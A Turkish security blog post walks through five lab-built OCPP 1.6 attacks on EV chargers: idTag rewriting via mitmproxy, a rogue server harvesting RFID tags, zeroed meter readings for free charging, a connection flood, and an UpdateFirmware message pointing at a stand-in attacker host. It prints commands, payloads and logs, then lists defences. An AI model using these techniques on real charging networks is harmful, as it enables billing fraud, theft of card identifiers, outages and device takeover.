Bölüm 1'de EV şarj istasyonlarının içine bakmıştık: donanım mimarisi, gömülü Linux, fiziksel erişim, ağ protokolleri ve OCPP'ye giriş seviyesinde değinme. Devamı olarak söz vermiştim, kurarsam yazarım dedim. Kurdum. Bu yazı tamamen OCPP-J 1.6 üzerine, ama bu sefer protokolün adını öğrenmek değil, içine girmek.
Önceden uyarayım, alıştığımız nakarat: bu yazıdaki her şey kendi laboratuvarımda kuruldu. Açık kaynak SteVe (Java tabanlı, OCPP 1.6 destekli, dünyada en yaygın community CSMS), Python'da yazdığım bir EVSE simülatörü, ve araya giren mitmproxy. Sahada hiçbir gerçek şarj noktasına dokunulmadı. Aynı protokol, aynı mesajlar, sadece donanım yok; o yüzden gösterdiğim her saldırı, sahada düzgün dağıtılmamış gerçek bir EVSE üzerinde aynen çalışır.
Bir not daha, sıfırdan öğrenen biri gibi yazıyorum çünkü gerçekten öyle başladım. OCPP'yi bir cümle olarak biliyordum, "EVSE'lerin merkezi sistemle konuştuğu protokol". Sonra spec'i okuyup mesajlara baktım, "buradan hangi nokta esnek?" diye düşünmeye başladım, hızlıca beş tane saldırı senaryosu düştü. Bu yazı o yolculuğun notu.
Bölüm 1'den nereye geldik
Bölüm 1'in sonunda yedi ana saldırı yüzeyi listelemiştim: fiziksel müdahale, gömülü Linux kerneli, OCPP istemcisi, CSMS, ödeme entegrasyonu, mobil app, V2G/ISO 15118. Hepsi ayrı bir yazı, ben bu sefer üçüncüyü, EVSE ile CSMS arasındaki OCPP konuşmasını seçtim. Sebebi şu: bu konuşma WebSocket üstünde, JSON formatında, son derece okunaklı. Eğer trafiği görebiliyorsan (mitmproxy ya da rogue endpoint), her şey gözünün önünde. Diğer katmanlar (gömülü kerneli root etmek, mobile API'yi reverse'lemek) çok daha pahalı sahne.
Diyagramda kırmızı oklar saldırgan kontrolündeki yollar. Bu yazının kapsadığı senaryoların hepsi orada görülebilir: araya giren mitm (1 ve 3), DNS spoof ile sahte CSMS'e bağlama (2 ve 5), CSMS'i botla yatırma (4). EV ile EVSE arasındaki kablo katmanı (ISO 15118, PLC) bu yazının dışında, onu Bölüm 3'e bıraktım.
OCPP 101: Ne, Nasıl, Niye
İlk araştırdığımda anladığım şu: OCPP (Open Charge Point Protocol) Hollanda menşeli açık kaynak bir spec. İlk versiyon 2009-2010'a kadar gidiyor (ElaadNL'in çalışması); standart sonradan Open Charge Alliance (OCA) konsorsiyumunun çatısı altına girdi. Şu anda sahada görünen iki ana sürüm var:
- OCPP 1.6 (2015): SOAP veya JSON üstünde. JSON varyantına OCPP-J 1.6 deniyor ve sektörde en yaygın olan bu. Çoğu ucuz/orta segment EVSE bunu konuşur.
- OCPP 2.0.1 (2020): Yeni nesil, Plug & Charge, akıllı şarj profili, ISO 15118 entegrasyonu, smart firmware management. Hala adapte ediliyor, sahada henüz çoğunluk değil.
Bu yazıda OCPP-J 1.6'ya odaklanıyorum çünkü sahada görme şansı en yüksek olan o. 2.0.1'in güvenlik tarafını farklılıklarıyla ilgili son bölümde değiniyorum.
Protokol mimarisinde iki taraf var: Charge Point (CP, yani sahadaki EVSE direk üzerindeki cihaz) ve Central System (CSMS, yani operatörün bulut tarafında çalışan yönetim sistemi). Tipik olarak CP, CSMS'e outbound bir WebSocket bağlantısı açıyor. Yani CP istemci, CSMS sunucu. Çünkü saha cihazları çoğu zaman 4G veya NAT arkasındaki Ethernet'te, dışarıdan içeri bağlanmak güç.
OCPP-J'nin kullandığı taşıma katmanı bildiğimiz WebSocket (RFC 6455). Bir EVSE açıldığında şöyle bir HTTP Upgrade isteği gönderiyor:
GET /steve/websocket/CentralSystemService/EVSE-001 HTTP/1.1 Host: csms.example.com Sec-WebSocket-Protocol: ocpp1.6 Sec-WebSocket-Version: 13 Upgrade: websocket
İlginç detay: Sec-WebSocket-Protocol header'ı ocpp1.6 olarak gidiyor, CSMS bunu kabul ediyorsa karşılığı veriyor. Çoğu CSMS sadece bu subprotocol'ü destekleyene cevap veriyor. URL path'inin son segmenti (örnekte EVSE-001) Charge Box ID. Yani bir nevi cihazın kimliği, yetkilendirme bunun üzerinden yapılabiliyor (yapılıyor mu, ayrı mesele).
Burada hemen iki çıkarım var. Birincisi: OCPP-J 1.6'da Charge Box kimliğini doğrulayan bir mekanizma şart değil. Spec sadece "destekleyebilirsiniz" diyor. Default kurulumlarda sadece chargeBoxId WebSocket URL'inde var ve doğrulanmıyor. İkincisi: TLS opsiyonel. OCPP "Security Profile" denen bir kavram getirmiş (1, 2, 3 numaralı profiller, OCPP-J 1.6J security extension olarak); profile 1 hiç TLS yok, profile 2 TLS + Basic Auth, profile 3 TLS + mutual cert auth. Sahada en yaygın hangisi? Maalesef hala profile 1 (yani plain ws://).
Bir Şarj Seansının Akışı
OCPP'nin spec'ini okurken ilk anladığım: bu protokol RPC tarzı. CP bir Call gönderiyor, CSMS bir CallResult dönüyor. Tersi de mümkün, CSMS de CP'ye Call atabiliyor (örneğin "yeniden başlat" demek için Reset, "şu firmware'i indir" demek için UpdateFirmware). Mesaj formatı çok yalın:
// OCPP-J 1.6 mesaj cercevesi: [ MessageTypeId , UniqueId , Action , Payload ] | | | | | | | └─ JSON object, mesaja ozel alanlar | | └─ "Authorize", "BootNotification", "MeterValues", ... | └─ stringe cevrilmis UUID, request/response eslestirme icin └─ 2 = Call, 3 = CallResult, 4 = CallError
Yani CP'den CSMS'e gönderilen bir Authorize çağrısı ham olarak şöyle görünüyor:
// CP -> CSMS: [ 2, "9c3a-4b21-...", "Authorize", { "idTag": "DEMO-CARD-7" } ] // CSMS -> CP: [ 3, "9c3a-4b21-...", { "idTagInfo": { "status": "Accepted" } } ]
Bu kadar yalın. JSON, düz metin, kimlik yok, imza yok, TLS opsiyonel. Spec'e baktığımda "tamam, burada her mesajı olduğu gibi göreceğim, ve hatta değiştirebileceğim" diye düşündüm. Sonra mitmproxy'i kurdum, gerçekten öyle olduğunu doğruladım.
Şimdi bir şarj seansının tam mesaj akışına bakalım. Bir EVSE CSMS'e bağlandığında ve birisi RFID'sini okuttuğunda olan şey aşağıdaki sekiz adım:
- BootNotification, CP -> CSMS. "Ben EVSE-001, vendor X model Y, firmware Z, ayağa kalktım."
- StatusNotification, CP -> CSMS. "Şu konnektör şu an Available."
- Heartbeat, CP -> CSMS. Her N saniyede bir gönderiliyor, bağlantı canlı sinyali.
- Authorize, CP -> CSMS. "Bu idTag (RFID kart numarası) şarj almaya yetkili mi?" CSMS tablosuna bakıp Accepted/Blocked/Expired döner.
- StartTransaction, CP -> CSMS. "Seans başladı, sayaç 0 Wh'ten başlıyor, idTag bu, timestamp bu." CSMS bir transactionId döner.
- MeterValues, CP -> CSMS. Her N saniyede bir (genelde 5-60 sn), o ana kadar harcanan enerji, anlık güç, gerilim, akım gibi sample'lar.
- StopTransaction, CP -> CSMS. "Seans bitti, son sayaç değeri bu, sebep şu (Local, Remote, EmergencyStop)."
- StatusNotification, CP -> CSMS. Tekrar Available, sıra sonraki müşteride.
Ve CSMS taraf da CP'ye bir şeyler atabiliyor: RemoteStartTransaction (uzaktan şarj başlat), Reset (cihazı yeniden başlat), ChangeConfiguration (config'i değiştir), UpdateFirmware (şu URL'den firmware indir kur). Bu son madde, beşinci saldırının ana eksenini oluşturuyor.
Lab Kurulumu
Lab'ı sıfırdan dijital kurdum, hiç fiziksel donanım yok. Üç bileşen var, hepsi Docker veya Python:
- SteVe (steve-community/steve, GitHub). Açık kaynak, Java/Spring/Maven tabanlı, dünyada en yaygın community CSMS. MySQL bağımlısı, web arayüzü, OCPP 1.6J ve SOAP destekli.
docker composeile MySQL + SteVe'i tek komutta ayağa kaldırıyor. - EVSE simülatörü (Python). Mobility House'un
ocppkütüphanesi üzerine yazdığım tek dosyalık bir charge point client. Asyncio + websockets. Boot, Heartbeat, Authorize, StartTransaction, MeterValues, StopTransaction döngüsünü gerçek bir EVSE gibi sürüyor. CSMS'ten gelen RemoteStart / Reset / UpdateFirmware'a da cevap veriyor. - mitmproxy (Python). EVSE ile CSMS arasına reverse proxy modunda giriyor. WebSocket frame'lerini text olarak görüp, kendi addon'larımla canlı manipüle edebiliyorum.
Bu yapının güzel yanı şu: EVSE tarafı tamamen gerçek. Aynı Python ocpp kütüphanesi sahada ciddi entegratörler tarafından kullanılıyor. CSMS de gerçek (SteVe yıllardır production'da olan bir proje). Ortadaki mitmproxy de tabii ki gerçek araç. Yani lab'da yaptığım her saldırı, üç gerçek bileşen arasında oluyor; sahada karşılığı aynen geçerli.
Lab'ı bağımsız bir GitHub repo'da yayımladım: github.com/Mucahic/ocpp-evse-lab. Birkaç komutla ayağa kaldırılıyor:
$ git clone https://github.com/Mucahic/ocpp-evse-lab $ cd ocpp-evse-lab $ python scripts/setup.py # SteVe clone + docker build (~5dk) $ python scripts/up.py # MySQL + SteVe ayaga kalkar $ python evse-sim/charge_point.py --cp-id EVSE-001 --auto-charge // dashboard: http://localhost:8180/manager/home (admin / 1234) // ocpp: ws://localhost:8180/steve/websocket/CentralSystemService/EVSE-001
Baseline: Temiz Bir Şarj Seansı
Saldırıya geçmeden önce, mitm olmayan, sahte CSMS olmayan, sadece EVSE'nin SteVe'e dürüstçe konuştuğu hali görelim. Bu, neyi karşılaştıracağımızın belirleyicisi:
$ python evse-sim/charge_point.py --cp-id EVSE-001 --auto-charge --id-tag DEMO-TAG-1 --duration 30 17:31:18 [evse] connecting -> ws://localhost:8180/steve/websocket/CentralSystemService/EVSE-001 17:31:20 [evse] -> BootNotification 17:31:20 [evse] .status=Accepted interval=30 17:31:20 [evse] -> StatusNotification Available 17:31:20 [evse] == SARJ SEANSI BASLIYOR id_tag=DEMO-TAG-1 sure=30s guc=7400W == 17:31:20 [evse] -> Authorize id_tag=DEMO-TAG-1 17:31:20 [evse] .id_tag_info.status=Accepted 17:31:20 [evse] -> StartTransaction meter_start=0 Wh 17:31:20 [evse] .transaction_id=17 status=Accepted 17:31:25 [evse] -> MeterValues energy=10 Wh power=7400 W 17:31:30 [evse] -> MeterValues energy=20 Wh power=7400 W 17:31:35 [evse] -> MeterValues energy=30 Wh power=7400 W ... 17:31:50 [evse] -> StopTransaction meter_stop=61 Wh 17:31:50 [evse] == SARJ SEANSI BITTI ==
SteVe dashboard'unda bu seans Transactions sekmesinde, idTag DEMO-TAG-1 altında, 0 Wh'ten 61 Wh'e kadar bir transaction olarak görünüyor. Müşteri ID'si DEMO-TAG-1 ile eşleşen kişiye fatura edilir. Bu, normal akış.
Saldırılar
Beş senaryo. Hepsi ayrı bir Python script'i, hiçbiri 200 satırdan uzun değil. Sıra:
- 01 // OCPP MitM, mitmproxy + ocpp_mitm.py addon ile
idTagalanını canlı yazmak. - 02 // Rogue CSMS, EVSE'yi sahte sunucuya bağlamak, idTag harvesting.
- 03 // Free Charge,
MeterValues'i sıfırlamak, ücretsiz şarj. - 04 // DoS Flood, sahte EVSE bot'larıyla CSMS'i yatırmak.
- 05 // UpdateFirmware Injection, sahte CSMS'ten EVSE'ye firmware push.
01 // OCPP MitM, idTag Rewrite
Senaryo basit: araya girip Authorize mesajındaki idTag alanını değiştirmek. İlke şu, idTag düz metin bir alan ve araya giren onu istediği değerle yazabiliyor, CSMS de yazılan tag'i faturalandırıyor. Asıl kötü niyetli kullanım şu yönde: saldırgan kendi seansını başlatır, idTag'ini bir kurbanınkiyle değiştirir, enerjiyi saldırgan çeker ama fatura kurbana gider. Lab'da rewrite'ı okunaklı olsun diye tek yönde gösteriyorum: kurbanın okuttuğu VICTIM-CARD-7, CSMS'e ulaşmadan ATTACKER-CARD-1 oluyor. Yön fark etmez, mesele idTag'in araya giren tarafça serbestçe yazılabilmesi.
mitmproxy'i WebSocket reverse proxy modunda başlattım, kendi OCPP-aware addon'umu yükledim:
$ mitmdump --mode reverse:http://localhost:8180 -p 8400 -s attacks/ocpp_mitm.py [mitmdump] WebSocket reverse proxy listening on :8400 -> localhost:8180 [mitmdump] addon loaded: attacks/ocpp_mitm.py [mitmdump] awaiting connection...
Sonra EVSE'yi (proxy'i sanki CSMS'mis gibi göstererek) çalıştırdım:
$ python evse-sim/charge_point.py \ --csms ws://localhost:8400/steve/websocket/CentralSystemService \ --cp-id EVSE-MITM-001 --auto-charge --id-tag VICTIM-CARD-7 [evse] -> Authorize id_tag=VICTIM-CARD-7 [mitm] Authorize yakalandi: idTag='VICTIM-CARD-7' [mitm] Authorize REWRITE: idTag -> 'ATTACKER-CARD-1' [evse] .id_tag_info.status=Accepted # SteVe attacker tag'i kabul etti [evse] -> StartTransaction id_tag=VICTIM-CARD-7 meter_start=0 [mitm] StartTransaction REWRITE: idTag -> 'ATTACKER-CARD-1'
SteVe dashboard'una baktığımda transaction ATTACKER-CARD-1 ile başlatılmış görünüyordu. Kurban tarafında ise EVSE düzgün çalışıyor gibi göründü, hata yok, şarj geldi. Mesaj döngüsü kapanana kadar her şey saldırgan adına devam etti.
02 // Rogue CSMS, idTag Harvesting + Firmware Lure
Birinci saldırı araya girmekti, ikincisi tamamen sahte bir CSMS oturmak. Senaryo: bir saldırgan EVSE'nin config'ini değiştirmiş (yerel ağ erişimiyle, ya da supply chain saldırısıyla), veya DNS'i kaçırmış. EVSE artık gerçek CSMS yerine saldırganın sunucusuna bağlanıyor.
Sahte sunucumun yaptığı üç şey var:
- Her gelen
BootNotification'aAccepteddönüyor (meşru görünmek için). - Her
AuthorizeisteğineAccepteddönüyor (her idTag'i kabul ediyor; gerçek bir saldırgan amacı her şeyi loglamak). - Bağlandıktan 5 saniye sonra EVSE'ye
UpdateFirmwarekomutu gönderiyor, URL:http://attacker.lab/payload/backdoored-firmware.bin.
Gelen her şey captures/harvested.json'a yazılıyor. Lab'ı çalıştırdığımda:
$ python attacks/rogue_csms.py --port 8500 [rogue] Sahte CSMS dinliyor: ws://0.0.0.0:8500/CentralSystemService/<cp-id> $ python evse-sim/charge_point.py \ --csms ws://localhost:8500/CentralSystemService \ --cp-id EVSE-ROGUE-001 --auto-charge --id-tag REAL-USER-CARD-42 [rogue] YENI BAGLANTI cp_id=EVSE-ROGUE-001 subprotocol=ocpp1.6 [rogue] HARVEST cp_id=EVSE-ROGUE-001 vendor=MUCAHIC LAB model=MUCAHIC-EVSE-SIM [rogue] HARVEST cp_id=EVSE-ROGUE-001 idTag=REAL-USER-CARD-42 (her seyi kabul ediyoruz) [rogue] HARVEST cp_id=EVSE-ROGUE-001 START idTag=REAL-USER-CARD-42 meterStart=0 [rogue] LURE: EVSE'ye UpdateFirmware gonderiyoruz [rogue] URL=http://attacker.lab/payload/backdoored-firmware.bin
EVSE tarafında bu, hiç şüphe uyandırmadan akıyor. Boot kabul, authorize kabul, şarj başladı. Sonra arkadan bir UpdateFirmware alıyor:
[evse] <- UpdateFirmware ! location=http://attacker.lab/payload/backdoored-firmware.bin [evse] NOT: bu URL'den firmware indirilip kuruluyor olsaydi, RCE vektoru burada.
Çıktıyı dosyaya da yazıyor:
$ cat captures/harvested.json
{"event": "boot", "cp_id": "EVSE-ROGUE-001", "vendor": "MUCAHIC LAB", ...}
{"event": "authorize", "cp_id": "EVSE-ROGUE-001", "id_tag": "REAL-USER-CARD-42", ...}
{"event": "start_tx", "cp_id": "EVSE-ROGUE-001", "id_tag": "REAL-USER-CARD-42", ...}
{"event": "firmware_lure_sent", "cp_id": "EVSE-ROGUE-001", "url": "http://attacker.lab/...", ...}
ws://
veya self-signed wss:// kabul ediliyor.
03 // Free Charge, MeterValues Manipulation
Üçüncü saldırı belki en doğrudan parasal sonuçlu olan. mitmproxy araya giriyor, EVSE'nin gönderdiği MeterValues'lerdeki Energy.Active.Import.Register alanını sıfırlıyor. StopTransaction'daki meterStop'u da 0 yapıyor. CSMS, gerçekte 200 Wh çekilen seansı 0 Wh olarak görüyor, kullanıcıya 0 kWh fatura ediliyor.
$ mitmdump --mode reverse:http://localhost:8180 -p 8401 -s attacks/free_charge.py $ python evse-sim/charge_point.py \ --csms ws://localhost:8401/steve/websocket/CentralSystemService \ --cp-id EVSE-FREE-001 --auto-charge --duration 60 [evse] -> MeterValues energy=10 Wh power=7400 W [free] MeterValues sifirlandi (was: 10 Wh -> 0 Wh) [evse] -> MeterValues energy=20 Wh power=7400 W [free] MeterValues sifirlandi (was: 20 Wh -> 0 Wh) ... [evse] -> StopTransaction meter_stop=123 Wh [free] StopTransaction meterStop=123 -> 0
SteVe dashboard'unda bu transaction "kWh: 0.000" olarak göründü. Cihaz açısından gerçek bir şarj oldu (60 saniye boyunca 7400W güç çekildi, ~123 Wh enerji geçti). Faturalama açısından ise sıfır.
Bu saldırı bir kişi için 100 Wh kazandırıyor diye saçma görünür ama düşün: bir filo operatörü bu mitm'i kendi araçları için, üzerinde aylarca dönen kurumsal şarj kart sisteminde uygularsa, milyonluk fatura sıfırlanır. Veya bir şarj operatörünün B2B paketi içinde mitm uygulayan bir saldırgan, milyonlarca müşteri faturasını siler. Risk büyüklüğü kişi başına değil, ölçeğine bağlı.
04 // DoS Flood
Bu saldırı protokol değil, mimari. CSMS, bir veya birkaç bin şarj istasyonuyla aynı anda WebSocket sürdürmek için tasarlanır. Eğer saldırgan bir botnet'ten ya da kendi sunucusundan birkaç bin sahte EVSE bağlantısı yaparsa, CSMS'in connection pool'unu, MySQL connection pool'unu, thread pool'unu doldurmaya çalışıyor.
$ python attacks/dos_flood.py --target ws://localhost:8180/steve/websocket/CentralSystemService \ --concurrency 200 --duration 60 [dos] flood basliyor: 200 bot * 60 saniye [dos] baglanti acildi: FLOOD-A1B2C3D4 [dos] baglanti acildi: FLOOD-Q9R8S7T6 ... [dos] flood bitti: 21847 toplam mesaj, 200 bot
SteVe dashboard'unda 200 yeni Charge Box ID belirdi, hepsi hızla heartbeat atıyor, bağlantı sayacı arttı, dashboard'un sayfa yükleme süresi gözle görülür şekilde uzadı. Gerçek bir saldırgan bu sayıyı 5000-10000'e çekse, CSMS'in gerçek müşterilerine cevap verme süresi katlanarak büyür.
Daha sinsi bir varyant: sadece bağlantıyı aç, hiç mesaj atma. WebSocket idle bağlantı olarak öylece dursun. Bazı CSMS implementasyonları idle bağlantılara da bellek + thread tahsis ediyor, bir noktada limit doluyor.
05 // UpdateFirmware Injection
Beşinci ve en tehlikeli. CSMS taraf, EVSE'ye UpdateFirmware mesajı gönderebiliyor. Mesajın payload'u son derece yalın:
[ 2, "6c8a-...", "UpdateFirmware", { "location": "http://attacker.lab/payload/backdoored-firmware-v9.9.9.bin", "retrieveDate": "2026-05-17T17:31:25+00:00" }]
EVSE bu mesajı aldığında, eğer firmware update özelliği aktifse, belirtilen URL'den firmware'i indiriyor ve kuruyor. Pek çok cihazda imza doğrulama ya hiç yok, ya da vendor key'i cihaza geçici olarak gömülmüş ve aynı vendor için tüm cihazlarda aynı (yani sızdırılabilir).
Rogue CSMS saldırısının doğal sonucu bu: bir kez sahte sunucuya bağlandıysa, saldırgan aynı bağlantı üzerinden UpdateFirmware push edebilir. Cihaza istediği binary'i kurabilir. Cihaz EVSE direği olduğu için artık physical-world foothold, yerel ağa pivot noktası, kullanıcının kart bilgilerini sniff eden bir nokta, V2G özelliği varsa şebekeye iniş noktası.
Lab'da rogue_csms.py'da bu mesajı zaten 5 saniye sonra otomatik gönderiyorum. Ayrı bir firmware_inject.py da var, sadece UpdateFirmware enjekte etmek için:
$ python attacks/firmware_inject.py --port 8600 [fw] Sahte CSMS dinliyor ws://0.0.0.0:8600/CentralSystemService/<cp> $ python evse-sim/charge_point.py \ --csms ws://localhost:8600/CentralSystemService --cp-id EVSE-INJECT-001 [fw] baglandi: EVSE-INJECT-001 [fw] ENJEKSIYON: UpdateFirmware -> http://attacker.lab/payload/backdoored-firmware-v9.9.9.bin [evse] <- UpdateFirmware ! location=http://attacker.lab/payload/backdoored-firmware-v9.9.9.bin [evse] NOT: bu URL'den firmware indirilip kuruluyor olsaydi, RCE vektoru burada.
Bu saldırının "tek bir mesaj" olduğunu görmek beni gerçekten rahatsız etti. Yani saldırganın CSMS pozisyonuna geçmek için harcadığı çabanın yanında, asıl ödülü almak (cihaza kalıcı yerleşmek) tek bir Call mesajı kadar. Spec'te zaten UpdateFirmware bir RPC olarak var, EVSE'nin uyması bekleniyor.
Savunma ve Son Söz
Pratik tarafa geldik. Beş saldırının hepsi plain WebSocket + zayıf veya hiç olmayan kimlik doğrulama varsayımına dayanıyor. OCPP spec'i bu noktayı çözmek için OCPP Security Whitepaper yayımladı (2019, sonra güncellemeler). Üç tane güvenlik profili tanımlı:
- Security Profile 1: Charge Box, CSMS'e WebSocket Upgrade isteğinde HTTP Basic Auth kullanır. Plain ws://, TLS yok. Sadece anonimizasyona karşı koruma sağlar, MitM'i engellemez.
- Security Profile 2: TLS + sunucu sertifikası + HTTP Basic Auth. MitM artık güç. Ama saldırgan cihazın sertifika doğrulamasını kötü yapıldıysa (örneğin sadece "TLS aç ama any-cert kabul et"), yine aşılabilir.
- Security Profile 3: Mutual TLS, hem sunucu hem cihaz sertifika gösterir. Bu, sağlam senaryo. Ama operasyonel olarak en zor, çünkü her cihaza bir client sertifika üretmek ve rotate etmek gerek.
Saha gerçekliğine bakınca: küçük operatörler hala Profile 1'de. Büyük operatörler (global ve yerli büyük zincirler) Profile 2 veya 3'te. OCPP 2.0.1 ise zorunlu olarak en az Profile 2'yi şart koşuyor. Bu doğru yön.
Pratik savunma listesi, kendi notum:
- TLS, en az Profile 2: ws:// görmek, "burada başka bir şey de yanlıştır" demek. Hiç tartışma yok.
- chargeBoxId'yi imzalı bir token gibi kullanmak: URL'de açık ID + Basic Auth yerine, cihaz başına unique client cert ya da JWT.
- Server-side meter cross-check: CSMS'in raporlanan MeterValues'i, EVSE'nin bağlı olduğu güç noktasının ayrı bir akıllı sayacıyla periyodik karşılaştırması. Free-charge saldırısı buna yakalanır.
- UpdateFirmware için cihaz tarafı imza doğrulaması: EVSE indirdiği binary'i vendor'un public key'iyle doğrulamadan kurmaz. Imza yoksa firmware update özelliğini default kapatmalı.
- chargeBoxId based rate limiting: DoS flood'un primitif türevini engeller. Aynı kaynak IP'den 1 saniyede 50 yeni BootNotification gelmesi mantıksız.
- Anomali alarmı: Bir transaction'da idTag
Xile başlayıpYile bitmek, hiç beklenmedik bir davranış. MitM'in tipik fingerprint'i.
Ve son söz. Bu yazıyı yazarken iki defa şuna takıldım: OCPP'nin tasarımı 2011-2015 arasında, IoT güvenliğinin sektör genelinde olgunlaşmadan önce yapılmış. O dönemin pratikleri (WebSocket plain text, anonim Basic Auth, opsiyonel TLS) zamanın koşullarına uygundu. Bugün uygunsuz. OCPP 2.0.1 spec'i bunu kabul ediyor, doğru yöne gidiyor. Sahaya yayılmasının yavaş olması da kaçınılmaz, çünkü EVSE'ler 7-10 yıl hizmet ömrüyle dizayn edilen cihazlar, anlık güncellemiyor.
Pratik aksiyonum: Türkiye'deki şarj operatörlerinin sahaya soktuğu cihazları (en azından kamuya açık bilgi düzeyinde) gözden geçirmek, Profile 2/3 deployment'ı default olan operatör hangileri, hangileri hala 1.6J plain ws:// koşturuyor. Bu, Bölüm 3'ün bir parçası olacak gibi duruyor, V2G/ISO 15118 ile beraber.
// RAPOR SONU, MUCAHIC / OP-0042 / 2026.05.17